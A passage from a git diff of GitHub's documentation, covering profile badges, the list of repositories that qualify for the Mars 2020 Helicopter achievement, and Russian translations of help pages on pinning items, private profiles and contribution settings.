**Security advisory credit** | If a security advisory you submit to the [{% data variables.product.prodname_dotcom %} Advisory Database](https://github.com/advisories) is accepted, you'll get a Security advisory credit badge on your profile. For more information about {% data variables.product.prodname_dotcom %} Security Advisories, see [{% data variables.product.prodname_dotcom %} Security Advisories](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories). | +| {% octicon "check" aria-label="The check icon" %} | **Discussion answered** | If your reply to a discussion is marked as the answer, you'll get a Discussion answered badge on your profile. For more information about {% data variables.product.prodname_dotcom %} Discussions, see [About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions). | + +{% endif %} + +{% ifversion fpt or ghec %} + +## Earning Achievements + +Achievements celebrate specific events and actions that happen on {% data variables.product.prodname_dotcom %}. They will appear as small badges listed in the sidebar of your profile. Clicking or hovering on an achievement will show a detailed view that hints at how the achievement was earned, with a short description and links to the contributing events. The event links will only be visible to users that have access to the repository or organization that the event took place in. Event links will appear inaccessible to all users without access. + +To stop private contributions from counting toward your Achievements, or to turn off Achievements entirely, see "[Showing your private contributions and Achievements on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)." + +{% note %} + +**Note:** This feature is currently in beta and subject to change. + +{% endnote %} + +{% endif %} + +## List of qualifying repositories for Mars 2020 Helicopter Contributor achievement + +If you authored any commit(s) present in the commit history for the listed tag of one or more of the repositories below, you'll receive the Mars 2020 Helicopter Contributor achievement on your profile. The authored commit must be with a verified email address, associated with your account at the time {% data variables.product.prodname_dotcom %} determined the eligible contributions, in order to be attributed to you. You can be the original author or [one of the co-authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors) of the commit. Future changes to verified emails will not have an effect on the badge. We built the list based on information received from NASA's Jet Propulsion Laboratory. + +| {% data variables.product.prodname_dotcom %} Repository | Version | Tag | +|---|---|---| +| [torvalds/linux](https://github.com/torvalds/linux) | 3.4 | [v3.4](https://github.com/torvalds/linux/releases/tag/v3.4) | +| [python/cpython](https://github.com/python/cpython) | 3.9.2 | [v3.9.2](https://github.com/python/cpython/releases/tag/v3.9.2) | +| [boto/boto3](https://github.com/boto/boto3) | 1.17.17 | [1.17.17](https://github.com/boto/boto3/releases/tag/1.17.17) | +| [boto/botocore](https://github.com/boto/botocore) | 1.20.11 | [1.20.11](https://github.com/boto/botocore/releases/tag/1.20.11) | +| [certifi/python-certifi](https://github.com/certifi/python-certifi) | 2020.12.5 | [2020.12.05](https://github.com/certifi/python-certifi/releases/tag/2020.12.05) | +| [chardet/chardet](https://github.com/chardet/chardet) | 4.0.0 | [4.0.0](https://github.com/chardet/chardet/releases/tag/4.0.0) | +| [matplotlib/cycler](https://github.com/matplotlib/cycler) | 0.10.0 | [v0.10.0](https://github.com/matplotlib/cycler/releases/tag/v0.10.0) | +| [elastic/elasticsearch-py](https://github.com/elastic/elasticsearch-py) | 6.8.1 | [6.8.1](https://github.com/elastic/elasticsearch-py/releases/tag/6.8.1) | +| [ianare/exif-py](https://github.com/ianare/exif-py) | 2.3.2 | [2.3.2](https://github.com/ianare/exif-py/releases/tag/2.3.2) | +| [kjd/idna](https://github.com/kjd/idna) | 2.10 | [v2.10](https://github.com/kjd/idna/releases/tag/v2.10) | +| [jmespath/jmespath.py](https://github.com/jmespath/jmespath.py) | 0.10.0 | [0.10.0](https://github.com/jmespath/jmespath.py/releases/tag/0.10.0) | +| [nucleic/kiwi](https://github.com/nucleic/kiwi) | 1.3.1 | [1.3.1](https://github.com/nucleic/kiwi/releases/tag/1.3.1) | +| [matplotlib/matplotlib](https://github.com/matplotlib/matplotlib) | 3.3.4 | [v3.3.4](https://github.com/matplotlib/matplotlib/releases/tag/v3.3.4) | +| [numpy/numpy](https://github.com/numpy/numpy) | 1.20.1 | [v1.20.1](https://github.com/numpy/numpy/releases/tag/v1.20.1) | +| [opencv/opencv-python](https://github.com/opencv/opencv-python) | 4.5.1.48 | [48](https://github.com/opencv/opencv-python/releases/tag/48) | +| [python-pillow/Pillow](https://github.com/python-pillow/Pillow) | 8.1.0 | [8.1.0](https://github.com/python-pillow/Pillow/releases/tag/8.1.0) | +| [pycurl/pycurl](https://github.com/pycurl/pycurl) | 7.43.0.6 | [REL_7_43_0_6](https://github.com/pycurl/pycurl/releases/tag/REL_7_43_0_6) | +| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.7 | [pyparsing_2.4.7](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.7) | +| [pyserial/pyserial](https://github.com/pyserial/pyserial) | 3.5 | [v3.5](https://github.com/pyserial/pyserial/releases/tag/v3.5) | +| [dateutil/dateutil](https://github.com/dateutil/dateutil) | 2.8.1 | [2.8.1](https://github.com/dateutil/dateutil/releases/tag/2.8.1) | +| [yaml/pyyaml ](https://github.com/yaml/pyyaml) | 5.4.1 | [5.4.1](https://github.com/yaml/pyyaml/releases/tag/5.4.1) | +| [psf/requests](https://github.com/psf/requests) | 2.25.1 | [v2.25.1](https://github.com/psf/requests/releases/tag/v2.25.1) | +| [boto/s3transfer](https://github.com/boto/s3transfer) | 0.3.4 | [0.3.4](https://github.com/boto/s3transfer/releases/tag/0.3.4) | +| [enthought/scimath](https://github.com/enthought/scimath) | 4.2.0 | [4.2.0](https://github.com/enthought/scimath/releases/tag/4.2.0) | +| [scipy/scipy](https://github.com/scipy/scipy) | 1.6.1 | [v1.6.1](https://github.com/scipy/scipy/releases/tag/v1.6.1) | +| [benjaminp/six](https://github.com/benjaminp/six) | 1.15.0 | [1.15.0](https://github.com/benjaminp/six/releases/tag/1.15.0) | +| [enthought/traits](https://github.com/enthought/traits) | 6.2.0 | [6.2.0](https://github.com/enthought/traits/releases/tag/6.2.0) | +| [urllib3/urllib3](https://github.com/urllib3/urllib3) | 1.26.3 | [1.26.3](https://github.com/urllib3/urllib3/releases/tag/1.26.3) | +| [python-attrs/attrs](https://github.com/python-attrs/attrs) | 19.3.0 | [19.3.0](https://github.com/python-attrs/attrs/releases/tag/19.3.0) | +| [CheetahTemplate3/cheetah3](https://github.com/CheetahTemplate3/cheetah3/) | 3.2.4 | [3.2.4](https://github.com/CheetahTemplate3/cheetah3/releases/tag/3.2.4) | +| [pallets/click](https://github.com/pallets/click) | 7.0 | [7.0](https://github.com/pallets/click/releases/tag/7.0) | +| [pallets/flask](https://github.com/pallets/flask) | 1.1.1 | [1.1.1](https://github.com/pallets/flask/releases/tag/1.1.1) | +| [flask-restful/flask-restful](https://github.com/flask-restful/flask-restful) | 0.3.7 | [0.3.7](https://github.com/flask-restful/flask-restful/releases/tag/0.3.7) | +| [pytest-dev/iniconfig](https://github.com/pytest-dev/iniconfig) | 1.0.0 | [v1.0.0](https://github.com/pytest-dev/iniconfig/releases/tag/v1.0.0) | +| [pallets/itsdangerous](https://github.com/pallets/itsdangerous) | 1.1.0 | [1.1.0](https://github.com/pallets/itsdangerous/releases/tag/1.1.0) | +| [pallets/jinja](https://github.com/pallets/jinja) | 2.10.3 | [2.10.3](https://github.com/pallets/jinja/releases/tag/2.10.3) | +| [lxml/lxml](https://github.com/lxml/lxml) | 4.4.1 | [lxml-4.4.1](https://github.com/lxml/lxml/releases/tag/lxml-4.4.1) | +| [Python-Markdown/markdown](https://github.com/Python-Markdown/markdown) | 3.1.1 | [3.1.1](https://github.com/Python-Markdown/markdown/releases/tag/3.1.1) | +| [pallets/markupsafe](https://github.com/pallets/markupsafe) | 1.1.1 | [1.1.1](https://github.com/pallets/markupsafe/releases/tag/1.1.1) | +| [pypa/packaging](https://github.com/pypa/packaging) | 19.2 | [19.2](https://github.com/pypa/packaging/releases/tag/19.2) | +| [pexpect/pexpect](https://github.com/pexpect/pexpect) | 4.7.0 | [4.7.0](https://github.com/pexpect/pexpect/releases/tag/4.7.0) | +| [pytest-dev/pluggy](https://github.com/pytest-dev/pluggy) | 0.13.0 | [0.13.0](https://github.com/pytest-dev/pluggy/releases/tag/0.13.0) | +| [pexpect/ptyprocess](https://github.com/pexpect/ptyprocess) | 0.6.0 | [0.6.0](https://github.com/pexpect/ptyprocess/releases/tag/0.6.0) | +| [pytest-dev/py](https://github.com/pytest-dev/py) | 1.8.0 | [1.8.0](https://github.com/pytest-dev/py/releases/tag/1.8.0) | +| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.5 | [pyparsing_2.4.5](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.5) | +| [pytest-dev/pytest](https://github.com/pytest-dev/pytest) | 5.3.0 | [5.3.0](https://github.com/pytest-dev/pytest/releases/tag/5.3.0) | +| [stub42/pytz](https://github.com/stub42/pytz) | 2019.3 | [release_2019.3](https://github.com/stub42/pytz/releases/tag/release_2019.3) | +| [uiri/toml](https://github.com/uiri/toml) | 0.10.0 | [0.10.0](https://github.com/uiri/toml/releases/tag/0.10.0) | +| [pallets/werkzeug](https://github.com/pallets/werkzeug) | 0.16.0 | [0.16.0](https://github.com/pallets/werkzeug/releases/tag/0.16.0) | +| [dmnfarrell/tkintertable](https://github.com/dmnfarrell/tkintertable) | 1.2 | [v1.2](https://github.com/dmnfarrell/tkintertable/releases/tag/v1.2) | +| [wxWidgets/wxPython-Classic](https://github.com/wxWidgets/wxPython-Classic) | 2.9.1.1 | [wxPy-2.9.1.1](https://github.com/wxWidgets/wxPython-Classic/releases/tag/wxPy-2.9.1.1) | +| [nasa/fprime](https://github.com/nasa/fprime) | 1.3 | [NASA-v1.3](https://github.com/nasa/fprime/releases/tag/NASA-v1.3) | +| [nucleic/cppy](https://github.com/nucleic/cppy) | 1.1.0 | [1.1.0](https://github.com/nucleic/cppy/releases/tag/1.1.0) | +| [opencv/opencv](https://github.com/opencv/opencv) | 4.5.1 | [4.5.1](https://github.com/opencv/opencv/releases/tag/4.5.1) | +| [curl/curl](https://github.com/curl/curl) | 7.72.0 | [curl-7_72_0](https://github.com/curl/curl/releases/tag/curl-7_72_0) | +| [madler/zlib](https://github.com/madler/zlib) | 1.2.11 | [v1.2.11](https://github.com/madler/zlib/releases/tag/v1.2.11) | +| [apache/lucene](https://github.com/apache/lucene) | 7.7.3 | [releases/lucene-solr/7.7.3](https://github.com/apache/lucene/releases/tag/releases%2Flucene-solr%2F7.7.3) | +| [yaml/libyaml](https://github.com/yaml/libyaml) | 0.2.5 | [0.2.5](https://github.com/yaml/libyaml/releases/tag/0.2.5) | +| [elastic/elasticsearch](https://github.com/elastic/elasticsearch) | 6.8.1 | [v6.8.1](https://github.com/elastic/elasticsearch/releases/tag/v6.8.1) | +| [twbs/bootstrap](https://github.com/twbs/bootstrap) | 4.3.1 | [v4.3.1](https://github.com/twbs/bootstrap/releases/tag/v4.3.1) | +| [vuejs/vue](https://github.com/vuejs/vue) | 2.6.10 | [v2.6.10](https://github.com/vuejs/vue/releases/tag/v2.6.10) | +| [carrotsearch/hppc](https://github.com/carrotsearch/hppc) | 0.7.1 | [0.7.1](https://github.com/carrotsearch/hppc/releases/tag/0.7.1) | +| [JodaOrg/joda-time](https://github.com/JodaOrg/joda-time) | 2.10.1 | [v2.10.1](https://github.com/JodaOrg/joda-time/releases/tag/v2.10.1) | +| [tdunning/t-digest](https://github.com/tdunning/t-digest) | 3.2 | [t-digest-3.2](https://github.com/tdunning/t-digest/releases/tag/t-digest-3.2) | +| [HdrHistogram/HdrHistogram](https://github.com/HdrHistogram/HdrHistogram) | 2.1.9 | [HdrHistogram-2.1.9](https://github.com/HdrHistogram/HdrHistogram/releases/tag/HdrHistogram-2.1.9) | +| [locationtech/spatial4j](https://github.com/locationtech/spatial4j) | 0.7 | [spatial4j-0.7](https://github.com/locationtech/spatial4j/releases/tag/spatial4j-0.7) | +| [locationtech/jts](https://github.com/locationtech/jts) | 1.15.0 | [jts-1.15.0](https://github.com/locationtech/jts/releases/tag/jts-1.15.0) | +| [apache/logging-log4j2](https://github.com/apache/logging-log4j2) | 2.11 | [log4j-2.11.0](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.11.0) | + +## Further reading + +- "[About your profile](/articles/about-your-profile)" diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md new file mode 100644 index 000000000000..bb533ca2a9e8 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md @@ -0,0 +1,45 @@ +--- +title: Закрепление элементов в профиле +intro: 'Вы можете закрепить объекты gist и репозитории в своем профиле, чтобы другие пользователи могли быстро просмотреть вашу лучшую работу.' +redirect_from: + - /articles/pinning-repositories-to-your-profile + - /articles/pinning-items-to-your-profile + - /github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile + - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile +versions: + fpt: '*' + ghes: '*' + ghec: '*' +topics: + - Profiles +shortTitle: Pin items +ms.openlocfilehash: 131bdb1ed57383e0b420308a96742a573dd9aa14 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145070073' +--- +Если вы владеете общедоступным репозиторием или внесли в него вклад, вы можете его закрепить. Фиксации в вилках не считаются вкладами, поэтому закрепить вилку, которая вам не принадлежит, нельзя. Дополнительные сведения см. в разделе [Почему мои вклады не отображаются в моем профиле?](/articles/why-are-my-contributions-not-showing-up-on-my-profile) + +Вы можете закрепить любой принадлежащий вам общедоступный gist. + +В закрепленных элементах содержатся такие важные сведения, как количество звезд, полученных репозиторием, или первые несколько строк gist. После закрепления элементов в профиле вместо раздела "Популярные репозитории" появляется раздел "Закрепленные". + +Порядок элементов в разделе "Закрепленные" можно изменить. В правом верхнем углу маркера щелкните {% octicon "grabber" aria-label="The grabber symbol" %} и перетащите маркер в новое место. + +{% data reusables.profile.access_profile %} +2. В разделе "Популярные репозитории" или "Закрепленные" щелкните **Настроить закрепленные элементы**. + ![Кнопка "Настроить закрепленные элементы"](/assets/images/help/profile/customize-pinned-repositories.png) +3. Чтобы отобразить список элементов для закрепления с возможностью поиска, выберите "Репозитории", "Gists" или оба элемента. + ![Флажки для выбора типа отображаемых элементов](/assets/images/help/profile/pinned-repo-picker.png) +4. При необходимости, чтобы упростить поиск определенного элемента, в поле фильтра введите имя пользователя, организации, репозитория или gist. + ![Фильтрация элементов](/assets/images/help/profile/pinned-repo-search.png) +5. Выберите сочетание репозиториев и элементов gists (не более шести) для отображения. + ![Выбор элементов](/assets/images/help/profile/select-items-to-pin.png) +6. Нажмите кнопку **Сохранить закрепленные**. + ![Кнопка "Сохранить закрепленные"](/assets/images/help/profile/save-pinned-repositories.png) + +## Дополнительные материалы + +- [Сведения о профиле](/articles/about-your-profile) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md new file mode 100644 index 000000000000..3f6978d303fb --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/setting-your-profile-to-private.md @@ -0,0 +1,62 @@ +--- +title: Как сделать профиль частным +intro: Частный профиль отображает только ограниченную информацию и скрывает некоторые действия. +versions: + fpt: '*' +topics: + - Profiles +shortTitle: Set profile to private +ms.openlocfilehash: c00718c84d99de95a9ca1352f32954279906451d +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148008672' +--- +## Сведения о частных профилях + +Чтобы скрыть некоторые фрагменты страницы профиля, его можно сделать частным. При этом также будет скрыта история ваших действий в различных социальных каналах {% data variables.product.prodname_dotcom_the_website %}. Содержимое частного профиля скрыто от всех пользователей. В настоящее время нет возможности предоставить доступ к сведениям о ваших действиях отдельным пользователям. + +Сделав свой профиль частным, вы все равно будете видеть все данные в нем. + +Для частных профилей нельзя направлять спонсорские предложения в рамках программы [{% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors). Участвовать в программе {% data variables.product.prodname_sponsors %} могут только общедоступные профили. + +## Различия между частными и общедоступными профилями + +На странице частных профилей скрываются следующие сведения: + +- достижения и основные моменты; +- обзор действий и веб-канал действий; +- диаграмма вкладов; +- количество подписчиков и собственных подписок; +- кнопки «Подписаться» и «Спонсор»; +- участие в организациях; +- звезды, проекты, пакеты и вкладки спонсорских предложений. + +{% note %} + +**Примечание.** В частных профилях некоторые поля остаются общедоступными, например README, биография и фотография профиля. + +{% endnote %} + +## Изменения в отчетах о действиях + +Если сделать профиль частным, сведения о прошлых действиях не удаляются и не скрываются. Этот параметр применяется только к действиям, которые совершаются, когда он включен. + +В частном профиле сведения о действиях в {% data variables.product.prodname_dotcom_the_website %} не отображаются в следующих местах: + +- веб-каналы действий для других пользователей; +- списки популярных обсуждений; +- страница [Популярные](https://github.com/trending). + +{% note %} + +**Примечание.** Сведения о ваших действиях в общедоступных репозиториях по-прежнему будут видны для всех пользователей, просматривающих эти репозитории, а некоторые такие данные останутся доступными через API {% data variables.product.prodname_dotcom %}. + +{% endnote %} + +## Изменение параметров конфиденциальности профиля + +{% data reusables.user-settings.access_settings %} +1. В разделе «Вклады и действия» установите флажок **Сделать профиль частным и скрыть сведения о действиях**. +{% data reusables.user-settings.update-preferences %} diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md new file mode 100644 index 000000000000..956c5ec04191 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/index.md @@ -0,0 +1,25 @@ +--- +title: Настройка профиля GitHub и управление им +intro: Вы можете настроить профиль GitHub и управлять графом вклада. +shortTitle: Profiles +redirect_from: + - /categories/setting-up-and-managing-your-github-profile + - /github/setting-up-and-managing-your-github-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +children: + - /customizing-your-profile + - /managing-contribution-settings-on-your-profile +ms.openlocfilehash: 3901682d8723e2bdbe2351b7e1f39ccb34971cac +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146199925' +--- + diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md new file mode 100644 index 000000000000..c5dc08632013 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/index.md @@ -0,0 +1,30 @@ +--- +title: Управление параметрами вклада в профиле +intro: 'Ваши вклады, включая фиксации, предлагаемые запросы на вытягивание и открытые проблемы, отображаются в вашем профиле, чтобы люди видели вашу работу.' +redirect_from: + - /articles/managing-contribution-graphs-on-your-profile + - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile + - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +children: + - /viewing-contributions-on-your-profile + - /showing-an-overview-of-your-activity-on-your-profile + - /showing-your-private-contributions-and-achievements-on-your-profile + - /sending-enterprise-contributions-to-your-githubcom-profile + - /why-are-my-contributions-not-showing-up-on-my-profile + - /troubleshooting-commits-on-your-timeline +shortTitle: Manage contribution settings +ms.openlocfilehash: 022a9afdb91a5c65cea12c4bbeef5c4ba9673be6 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147881214' +--- + diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md new file mode 100644 index 000000000000..89138f798833 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md @@ -0,0 +1,64 @@ +--- +title: Отправка корпоративных вкладов в ваш профиль GitHub.com +intro: 'Можно выделить свою работу в {% data variables.product.prodname_enterprise %}, отправив подсчеты вклада в профиль {% data variables.product.prodname_dotcom_the_website %}.' +redirect_from: + - /articles/sending-your-github-enterprise-contributions-to-your-github-com-profile + - /articles/sending-your-github-enterprise-server-contributions-to-your-github-com-profile + - /articles/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile + - /github/setting-up-and-managing-your-github-profile/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile + - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-your-github-enterprise-server-contributions-to-your-githubcom-profile + - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +shortTitle: Send enterprise contributions +ms.openlocfilehash: 6fb1803f3a93dd03af24ce9ea3f360e579d7dbd1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147080442' +--- +## Сведения о корпоративных вкладах в вашем профиле {% data variables.product.prodname_dotcom_the_website %} + +В вашем профиле {% data variables.product.prodname_dotcom_the_website %} отображается количество вкладов {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} за последние 90 дней. {% data reusables.github-connect.sync-frequency %} Количество вкладов из {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} считается частными вкладами. В сведениях о фиксации будет отображаться только количество вкладов и информация, что эти вклады были сделаны в среде {% data variables.product.prodname_enterprise %} за пределами {% data variables.product.prodname_dotcom_the_website %}. + +Можно решить, следует ли отображать количество частных вкладов в вашем профиле. Дополнительные сведения см. в разделе [Публикация или скрытие личных вкладов в своем профиле](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile/). + +Дополнительные сведения о том, как рассчитываются вклады, см. в разделе [Управление графами вкладов в вашем профиле](/articles/managing-contribution-graphs-on-your-profile/). + +{% note %} + +**Примечания.** +- Подключение между вашими учетными записями регулируется [Заявлением о конфиденциальности GitHub](/free-pro-team@latest/github/site-policy/github-privacy-statement/), и пользователи, разрешающие подключение, соглашаются с [Условиями предоставления услуг GitHub](/free-pro-team@latest/github/site-policy/github-terms-of-service). + +- Прежде чем вы сможете подключить свой профиль {% ifversion fpt or ghec %}{% data variables.product.prodname_enterprise %}{% else %}{% data variables.product.product_name %}{% endif %} к профилю {% data variables.product.prodname_dotcom_the_website %}, владелец предприятия должен включить {% data variables.product.prodname_github_connect %} и включить общий доступ к вкладу для сред. Для получения дополнительной информации обратитесь к владельцу своего предприятия. + +{% endnote %} + +## Отправка ваших корпоративных вкладов в ваш профиль {% data variables.product.prodname_dotcom_the_website %} + +{% ifversion fpt or ghec %} + +- Сведения о том, как отправить корпоративные вклады из {% data variables.product.prodname_ghe_server %} в ваш профиль {% data variables.product.prodname_dotcom_the_website %}, см. в разделе [Отправка корпоративных вкладов в ваш профиль {% data variables.product.prodname_dotcom_the_website %}](/enterprise-server/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile) в документации {% data variables.product.prodname_ghe_server %}. +- Сведения о том, как отправить корпоративные вклады из {% data variables.product.prodname_ghe_managed %} в ваш профиль {% data variables.product.prodname_dotcom_the_website %}, см. в разделе [Отправка корпоративных вкладов в ваш профиль {% data variables.product.prodname_dotcom_the_website %}](/github-ae@latest/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile) в документации {% data variables.product.prodname_ghe_managed %}. + +{% elsif ghes %} + +1. Войдите в {% data variables.product.prodname_ghe_server %} и {% data variables.product.prodname_dotcom_the_website %}. +1. На {% data variables.product.prodname_ghe_server %} щелкните фото своего профиля в правом верхнем углу любой страницы и выберите **Параметры**. + ![Значок параметров на панели пользователя](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} +1. Проверьте ресурсы, к которым {% data variables.product.prodname_ghe_server %} будет осуществляться доступ из вашей учетной записи {% data variables.product.prodname_dotcom_the_website %}, а затем щелкните **Авторизовать**. + ![Авторизация подключения между GitHub Enterprise и GitHub.com](/assets/images/help/settings/authorize-ghe-to-connect-to-dotcom.png) {% data reusables.github-connect.send-contribution-counts-to-githubcom %} + +{% elsif ghae %} + +1. Войдите в {% data variables.product.prodname_ghe_managed %} и {% data variables.product.prodname_dotcom_the_website %}. +1. На {% data variables.product.prodname_ghe_managed %} щелкните фото своего профиля в правом верхнем углу любой страницы и нажмите **Параметры**. + ![Значок параметров на панели пользователя](/assets/images/help/settings/userbar-account-settings.png) {% data reusables.github-connect.github-connect-tab-user-settings %} {% data reusables.github-connect.connect-dotcom-and-enterprise %} {% data reusables.github-connect.authorize-connection %} {% data reusables.github-connect.send-contribution-counts-to-githubcom %} + +{% endif %} diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md new file mode 100644 index 000000000000..a835a6e56f18 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-an-overview-of-your-activity-on-your-profile.md @@ -0,0 +1,30 @@ +--- +title: Обзор действий в профиле +intro: 'Можно включить раздел обзора действий в профиле, чтобы предоставить зрителям дополнительный контекст о типах внесенных вкладов.' +redirect_from: + - /articles/showing-an-overview-of-your-activity-on-your-profile + - /github/setting-up-and-managing-your-github-profile/showing-an-overview-of-your-activity-on-your-profile + - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile + - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/showing-an-overview-of-your-activity-on-your-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +shortTitle: Show an overview +ms.openlocfilehash: a706c476cad8a2474ff1971dc8d81e680cf5c5c3 +ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '147888801' +--- +{% data reusables.profile.activity-overview-summary %} Дополнительные сведения см. в разделе [Просмотр вкладов в профиле](/articles/viewing-contributions-on-your-profile). + +![Раздел "Обзор действий" в профиле](/assets/images/help/profile/activity-overview-section.png) + +{% data reusables.profile.access_profile %} +2. Над графом вкладов в раскрывающемся меню **Параметры вклада** выберите пункт **Обзор действий** или отмените его выбор. + ![Включение обзора действий в раскрывающемся меню параметров вклада](/assets/images/help/profile/activity-overview.png) diff --git a/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md new file mode 100644 index 000000000000..e88e940a1c61 --- /dev/null +++ b/translations/ru-RU/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-settings-on-your-profile/showing-your-private-contributions-and-achievements-on-your-profile.md @@ -0,0 +1,55 @@ +--- +title: Showing your private contributions and achievements on your profile +intro: 'Your {% data variables.product.product_name %} profile shows a graph of your repository contributions over the past year. You can choose to show anonymized activity from {% ifversion fpt or ghes or ghec %}private and internal{% else %}private{% endif %} repositories{% ifversion fpt or ghes or ghec %} in addition to the activity from public repositories{% endif %}.' +redirect_from: + - /articles/publicizing-or-hiding-your-private-contributions-on-your-profile + - /github/setting-up-and-managing-your-github-profile/publicizing-or-hiding-your-private-contributions-on-your-profile + - /github/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile + - /account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/publicizing-or-hiding-your-private-contributions-on-your-profile +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Profiles +shortTitle: Private contributions and achievements +--- + +If you publicize your private contributions, people without access to the private repositories you work in won't be able to see the details of your private contributions. Instead, they'll see the number of private contributions you made on any given day. Your public contributions will include detailed information. For more information, see "[Viewing contributions on your profile page](/articles/viewing-contributions-on-your-profile-page)." + +{% note %} + +**Note:** {% ifversion fpt or ghes or ghec %}On {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% elsif ghes 